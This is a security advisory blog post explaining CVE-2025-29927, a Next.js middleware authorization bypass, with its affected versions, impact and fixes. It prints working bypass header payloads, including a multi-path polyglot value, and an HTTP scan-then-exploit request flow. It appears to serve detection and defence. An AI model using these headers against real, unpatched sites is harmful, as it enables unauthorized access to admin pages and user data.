Security research

Next.js security alert - how to attack and fix CVE-2025-29927

Publisher
Pentest-Tools.com
Updated at
Article tags

CVE-2025-29927 - a significant vulnerability in Next.js middleware - allows attackers to bypass authorization checks via a crafted header, impacting versions 11.1.4 through 15.2.2. 

Everyone’s talking about it - and rightfully so. 

For MSSPs, this is a critical risk across client infrastructures. 

For consultants, it introduces complexity into assessment workflows. 

And internal security teams, already overwhelmed with alerts, face even more challenges to find the signal in the noise because this CVE can cause false positives. Plus, they have to adapt existing workflows to accommodate this new attack vector, since it can impact their compliance efforts by exposing sensitive data. 

In this post, we’ll break down how the vulnerability works, explore which versions are affected, and share actionable steps developers and security teams can take right now to detect and mitigate the issue across their applications.

Technical overview for CVE-2025-29927

Next.js is a comprehensive, open-source web framework developed by Vercel, designed to build modern, React-based web applications. With over 130,000 stars on GitHub and more than 9.4 million weekly downloads, it’s one of the most widely adopted JavaScript frameworks in production today. It offers advanced features like server-side rendering, static site generation, and a powerful middleware system used for routing, redirects, security headers, and access control.

In March 2025, a critical vulnerability - CVE-2025-29927 - was disclosed, affecting how middleware is processed. This flaw allows attackers to bypass authorization checks entirely by including a crafted internal header in HTTP requests, putting protected routes and sensitive data at risk.

The list of vulnerable Next.js versions includes:

  • 11.1.4 through 13.5.8

  • 14.0.0 through 14.2.24

  • 15.0.0 through 15.2.2

By March 24, 2025 there are around 361000 exposed targets using this framework according to shodan.io

Now let’s look at how the middleware bypass vulnerability in CVE-2025-29927 works under the hood. It breaks down the logic that Next.js uses to process the x-middleware-subrequest header, highlights the recursion handling mechanism an attacker can exploit, and shows how a bad actor can reliably bypass middleware-based security using crafted headers.

Internal use of x-middleware-subrequest

In Next.js, the x-middleware-subrequest header was introduced to prevent infinite loops when middleware is recursively triggered. When a request reaches a middleware, the runMiddleware function extracts this header, splits its value using the colon (:) as a separator, and forms a list called subrequests. It then checks whether this list includes the name of the current middleware (middlewareInfo.name).

If it does, Next.js assumes that the middleware has already run and skips it using NextResponse.next().

Example source code:

const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
  result = {
    response: NextResponse.next(),
    waitUntil: Promise.resolve(),
  };
  continue;
}

This allows a crafted header to effectively instruct the application to ignore its own middleware logic, even if that middleware handles critical functions like authentication or access control.

Exploiting the recursion limit

In addition to checking for individual middleware names, Next.js includes a recursion limit to avoid middleware being run too many times. This is managed using a constant called MAX_RECURSION_DEPTH, set to 5.

Each time the current middleware’s name shows up in the header list, a counter called depth is incremented. If the total depth is greater than or equal to 5, Next.js automatically skips the middleware, forwarding the request via NextResponse.next().

Here’s the simplified logic:

This mechanism was intended to prevent infinite middleware recursion, but because it’s not protected from external manipulation, attackers can force the application into intentionally skipping the middleware.

Practical bypass payloads for CVE-2025-29927

Since middlewareInfo.name is based on predictable paths, an attacker can easily craft payloads that meet the depth >= 5 condition using known middleware paths such as middleware or src/middleware.

Example bypass headers:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

or

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

These values will cause depth to reach 5, skipping the middleware entirely and allowing the request to proceed without running into any access control logic.

Identifying vulnerable middleware paths

In older Next.js versions (prior to v12.2), middleware files followed a predictable naming convention: _middleware.ts located inside the pages/ directory. 

In later versions, the src/middleware path became common. 

These predictable paths make it trivial to guess the correct middlewareInfo.name and build a valid bypass header.

Redirect vs rewrite: a detection blindspot

From real-world analysis of public-facing Next.js apps, it's clear that many developers implement authentication using redirects (e.g., to a login page) rather than internal rewrites. However, most public detection logic for this vulnerability relies on the presence of rewrite-specific response headers like:

  • x-middleware-rewrite

  • x-middleware-next

  • x-middleware-redirect

Testing has shown that these headers are often absent when a middleware performs an HTTP redirect. This leaves a gap where existing scanners fail to detect vulnerable applications relying on redirect-based access control.

Worse, locale-based redirects (e.g., /foo/en/foo) can trigger false positives unless carefully filtered out. A meticulous check absolutely has to take these nuances into consideration.

Building a better detection strategy for CVE-2025-29927

To improve detection for CVE-2025-29927, it’s possible to leak internal behavior by forcing Next.js to reveal internal headers

By sending the x-nextjs-data: 1 header in requests, the server may respond with headers like x-nextjs-redirect, even on redirects where other middleware headers are suppressed.

For example, in a middleware like:

import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  return NextResponse.redirect(new URL('/', request.url));
}
export const config = {
  matcher: '/foo',
}

A request like:

curl -v 'http://localhost:3000/foo' -H 'x-nextjs-data: 1'

May produce:

HTTP/1.1 307 Temporary Redirect
x-nextjs-redirect: /

This provides a reliable signal that middleware is active and issuing redirects, even when common detection tools fail to catch it.

To streamline exploitation and reduce noise, an attacker may use a polyglot header value to cover multiple potential middleware locations in a single request. 

For example:

X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

This payload dramatically reduces the number of requests needed and increases detection coverage by guessing multiple plausible middleware paths.

A full scanning flow might look like:

GET / HTTP/2
Host: target
X-Nextjs-Data: 1
User-Agent: CustomScanner

Check for a redirect and presence of x-nextjs-redirect, x-middleware-rewrite, or x-nextjs-rewrite.

If detected, attempt exploit request:

GET / HTTP/2
Host: target
X-Nextjs-Data: 1
X-Middleware-Subrequest: [polyglot value]

If the response is HTTP 200 and grants access to protected content, the target is vulnerable.

What attackers can do with CVE-2025-29927

Because Next.js middleware often handles login checks by verifying session cookies, the CVE-2025-29927 vulnerability lets attackers bypass these security measures and access restricted pages without logging in.

This using CVE-2025-29927 to achieve an initial breach can potentially set off a chain of very serious consequences that translate into business problems.

Unauthorized access to protected resources

CVE-2025-29927 hands attackers a skeleton key. They exploit the flaw to skip middleware checks, allowing a malicious request to directly access URLs that should be gated behind login or role-based rules. This means bad actors can reach areas like admin dashboards, account management pages, and internal APIs - even without authentication. 

For example, an attacker can load an admin-only route (such as /admin/settings), and the server, because it skipped the middleware, treats the request as if it already passed all checks. This gives an unauthorized user the same view and capabilities as a logged-in administrator. Access controls become ineffective, exposing confidential functionality and data that your business depends on keeping restricted.

Sensitive data exposure and privilege escalation


But the damage doesn't stop at simple unauthorized access. 


Once attackers slip past the middleware, they can start grabbing and changing data that's meant to be protected. 


For instance, they might hit internal API endpoints to pull customer records, financial details, or personal data that your app only shares with logged-in users. 


An attacker acting as an admin could peek at user lists, order histories, or confidential reports. 


They can also change data - tamper with prices, tweak account details, or inject malicious content - because the application thinks they're a legitimate user. 

In multi-tenant or enterprise environments, this can lead to one customer's data leaking to another, which is a major data breach. 


Plus, access to admin interfaces opens the door to privilege escalation. Attackers can create new admin accounts or bump up their own permissions within your app's system. In the worst-case scenario, this escalates into a full application takeover

With admin-level control, they can disable security alerts, change configurations, or use trusted admin features to dig in even deeper. 


For example, they might use an 'import data' feature to upload malware or reset everyone's passwords. This initial Next.js middleware bypass is just the first step—from there, attackers can pivot and take total control of your application environment. It's similar to those serious auth bypasses in systems like Palo Alto PAN-OS or Fortinet FortiOS, where a single vulnerability allows attackers to become super-admins. In a Next.js app, they could assume the identity of an application super-user, with free reign to abuse or steal any data or service the app touches.

How attackers exploit CVE-2025-29927 to disrupt business operations

Let's be real: this CVE-2025-29927 isn't just an engineering bug; it's a business crisis waiting to happen. As ethical hackers, we know how attackers think. 

Here's why companies need your expertise to act fast:

Admin takeover

Imagine this: an attacker bypasses the middleware, walks into the admin panel, and starts doing damage. They change settings, create fake accounts, disable security. It leads to defaced webpages, corrupted databases, and admins getting locked out. For an e-commerce site, that's sales grinding to a halt. For a SaaS platform, that's deleting user accounts. Your penetration testing skills are crucial in showing companies just how easy this is to exploit.

Data exfiltration

Attackers can quietly exfiltrate off sensitive data - customer info, financial records, you name it - by hitting internal APIs or pages that should be protected. No authentication needed. 

This isn't just a breach; it's a compliance nightmare with fines, lawsuits, and lost customer trust. 

Internal API abuse

Modern apps rely on internal APIs. With this flaw, attackers can directly attack those endpoints, bypassing front-end controls. As a consequence, they get the ability to initiate fund transfers, generate admin tokens, or trigger debug features. 

Service disruption and integrity attacks

This bypass can neuter other security measures, leading to XSS attacks, content poisoning, or denial-of-service. 

Exploiting CVE-2025-29927 means attackers can inject malicious scripts, manipulate cached content, or flood the app with requests. As customers to affected companies, we might see downtime, defaced pages, and lose our trust in organizations we once appreciated.

Enterprise-wide fallout

In big companies, this isn't just a technical glitch. It's a business continuity risk. Attackers could hold critical services hostage, tamper with billing, or use the compromised app to pivot into other systems

This triggers incident response, regulatory scrutiny, and customer backlash. 

As ethical hackers, you understand the interconnectedness of enterprise systems and your insights can help companies grasp the full scope of the risk.

The cost of not acting fast is simply too high in this situation, as the real-world consequences of similar vulnerabilities have shown us again and again.

How to detect CVE-2025-29927

Naturally, we also made sure you can detect CVE-2025-29927 with Pentest-Tools.com, specifically with our Network Vulnerability Scanner.


This precise scan will help your team move fast through your vulnerable exposed NextJs instances.

How to mitigate and remediate CVE-2025-29927

1. Patch immediately - this is not optional

The security vulnerability has been patched in the latest versions of Next.js :

  • 12.3.5

  • 13.5.9

  • 14.2.25

  • 15.2.3

Consider any deployment running a previous version at risk, no matter if you’ve detected public exploitation or not.

npm install next@latest

# or pin to specific patched version

npm install next@14.2.25


Patching is the only guaranteed fix. Middleware execution logic has been hardened in these versions to prevent spoofed headers from disabling access controls.

2. Harden middleware logic against bypass

Although the patch solves the core issue, defense-in-depth matters. 

Middleware logic should never implicitly trust headers such as x-middleware-subrequest. 

If you’re implementing custom authentication or authorization checks in middleware, make them explicit and resilient. Also avoid "fail-open" designs — logic should default to denying access when authentication is ambiguous or missing.


3. Improve authentication and session management

This security vulnerability highlights how fragile session validation becomes if middleware is compromised

Use strong, server-validated session mechanisms:

  • Store session state server-side (e.g., Redis or secure cookies

  • Sign and encrypt tokens (e.g., using JWT with strict expiration and signature validation)

  • Use HttpOnly, Secure, and SameSite=Strict flags on cookies

4. Test for header-based auth bypasses

This security issue is exploitable via a single header injection. 

Since future bypasses could follow similar patterns, it’s wise to build tests that simulate crafted headers such as:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

and confirm that middleware-based protections still get triggered.


Use tools like:

  • Burp Suite Intruder (custom payloads for header fuzzing)

  • Nuclei templates

  • Custom scripts or headless browsers to trace redirect behavior

  • Traffic replay tools (e.g., mitmproxy) to test bypass attempts against real routes

Also test using the x-nextjs-data: 1 technique to confirm that redirects are properly protected.


 5. Filter or sanitize suspicious headers at the edge

For deployments behind a proxy, CDN, or load balancer (e.g., NGINX, Cloudflare, AWS ALB), consider stripping the x-middleware-subrequest header from external traffic entirely:

proxy_set_header x-middleware-subrequest "";

This reduces the attack surface by blocking an attacker’s ability to inject this bypass vector, especially if your application cannot be patched immediately.


6. Don’t rely on middleware alone for authorization

Treat middleware as a first line of defense, not the only one. 

For high-risk operations (e.g., accessing /admin or calling financial APIs), add in-route access controls on top of middleware checks.

For example, server-side API routes should validate tokens or session context again, even if middleware already did a check.

Don't wait for the exploit: act now

CVE-2025-29927 shows us that even mature frameworks like Next.js can have serious logic flaws. This wasn't some complex exploit chain or a zero-day in an obscure library; it's a simple one-header bypass that can easily slip through standard security testing. That's precisely what makes it so dangerous.

The ease of exploitation, combined with the fact that middleware often handles critical functions like authentication and redirects, makes this a high-value target for attackers and a significant risk for businesses.

Here's the key takeaway for security professionals:

  • Be skeptical of trust boundaries.

  • Implement multi-layered authorization, don't rely on middleware alone.

  • Respond quickly; you know attackers don't wait.

Whether you're securing enterprise systems, testing client applications, or developing your own, this should prompt you to:

  • Patch aggressively.

  • Monitor actively.

  • Test beyond standard scenarios.

  • And, of course, think like an attacker.

Authorization bypasses might not be the most dramatic vulnerabilities, but they often serve as the initial access point for larger compromises. 

If you're using Next.js middleware, now is the time to validate your assumptions, before someone else does it for you.

Get fresh security research

In your inbox. (No fluff. Actionable stuff only.)

I can see your vulns image

Discover our ethical hacking toolkit and all the free tools you can use!

Create free account

Footer

© 2013-2025 Pentest-Tools.com

Join over 45,000 security specialists to discuss career challenges, get pentesting guides and tips, and learn from your peers. Follow us on LinkedIn!

Expert pentesters share their best tips on our Youtube channel. Subscribe to get practical penetration testing tutorials and demos to build your own PoCs!

G2 award badge

Pentest-Tools.com recognized as a Leader in G2’s Spring 2023 Grid® Report for Penetration Testing Software.

Discover why security and IT pros worldwide use the platform to streamline their penetration and security testing workflow.

OWASP logo

Pentest-Tools.com is a Corporate Member of OWASP (The Open Web Application Security Project). We share their mission to use, strengthen, and advocate for secure coding standards into every piece of software we develop.